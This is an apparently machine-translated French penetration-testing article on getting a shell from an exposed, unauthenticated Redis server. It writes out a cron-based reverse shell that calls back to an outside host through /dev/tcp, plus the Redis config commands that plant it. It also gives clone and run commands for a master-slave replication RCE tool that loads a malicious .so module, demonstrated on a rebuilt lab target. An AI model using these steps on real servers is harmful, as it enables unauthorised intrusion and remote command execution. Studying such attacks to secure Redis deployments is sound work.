Maison  >  Article  >  base de données  >  Exemple d'analyse de Redis+Getshell

Exemple d'analyse de Redis+Getshell

WBOY
WBOYavant
2023-05-27 20:43:141741parcourir

Avant-propos :

Normalement, lors de tests d'intrusion d'autorisation, l'analyse des ports peut toujours apporter des résultats inattendus même si des attaques de vulnérabilité traditionnelles (telles que l'injection, le téléchargement de fichiers, etc.) sont tentées mais aucune information ne peut être obtenue.

Connaître soi-même et l'ennemi est le meilleur moyen de gagner chaque bataille. Introduction à Redis :

En termes simples, redis est une base de données de type clé-valeur. Toutes les données de Redis sont exploitées en mémoire et peuvent stocker les données. données en mémoire sur le disque régulièrement. Et prend en charge la sauvegarde d'une variété de structures de données (chaîne, hachage, liste, etc.).

Lors de la planification, vulnérabilités Redis :

1. Vulnérabilité d'accès non autorisé

Redis sera lié à 0.0.0.0:6379 par défaut. Si l'accès IP n'est pas restreint, il exposera le service Redis à. le réseau public sans configurer l'authentification par mot de passe amènera tout utilisateur à accéder à Redis sans autorisation, à lire les données Redis et à écrire la clé publique pour la connexion à distance.

Nous ne serons pas satisfaits lorsque nous obtiendrons les autorisations de la base de données. Notre objectif est uniquement d'obtenir Shell !

Il existe actuellement deux autres méthodes courantes, la première consiste à planifier régulièrement un shell de rebond et la seconde consiste à utiliser la réplication maître-esclave rce.

2. Shell de rebond programmé

1) set x "n* * * * * bash -i >& /dev/tcp/1.1.1.1/888 0>&1n"

2) config set dir /var/spool/cron/

3) config set dbfilename root

4) save

3. Utilisation de la réplication maître-esclave rce

existe dans les versions 4.x et 5.x, fournies par Redis Le mode maître-esclave fait référence à l'utilisation d'un redis comme hôte et de l'autre comme machine de sauvegarde. Les données de l'hôte et de l'esclave sont les mêmes. L'esclave est uniquement responsable de la lecture et l'hôte est uniquement responsable de l'écriture. Après Reids 4.x, grâce à une extension externe, il est possible d'implémenter une nouvelle commande Redis dans Redis et de construire un fichier .so malveillant. Lorsque deux instances Redis sont définies en mode maître-esclave, l'instance hôte Redis peut synchroniser les fichiers avec la machine esclave via FULLRESYNC. Chargez ensuite le fichier so malveillant sur la machine esclave pour exécuter la commande.

Vous devez utiliser un outil, téléchargez-le simplement depuis GitHub.

1) git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand (nécessite make)

2) git clone https://github.com/Ridter/redis-rce.git

et puis pass Si vous disposez d'un accès non autorisé ou d'un mot de passe faible pour vous connecter à Redis, vous pouvez obtenir le shell en exécutant le script.
Exemple danalyse de Redis+Getshell

Victoire à des milliers de kilomètres, véritable exercice de combat :

Cette fois, j'ai scanné 6379, qui est Redis. Parfois, le port par défaut peut être modifié. Cette fois, il est recommandé d'utiliser le port entier. copie maître-esclave rce pour obtenir le shell (en raison de cette vulnérabilité a été soumise à src et un accord de confidentialité a été signé, la machine cible est donc construite pour restaurer l'environnement réel et garantir l'authenticité. )

IP de l'attaquant : 192.168.109.134

IP du serveur : 192.168.109.136

Exemple danalyse de Redis+GetshellAccès non autorisé à la connexion redis (si vous avez un mot de passe, vous pouvez essayer de faire exploser le système de connexion authpassword) : Redis-cli –h ip
Exemple danalyse de Redis+GetshellUtilisez le maître. -slave copie rce pour obtenir le shell

Tout d'abord, générez un fichier .so malveillant, téléchargez RedisModules-ExecuteCommand et utilisez make pour le compiler. Peut être généré.
Exemple danalyse de Redis+GetshellExécution côté attaque :

python redis-rce.py -r target ip -p target port -L local ip -f malware.so

obtenir avec succès le shell
Exemple danalyse de Redis+Getshell

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer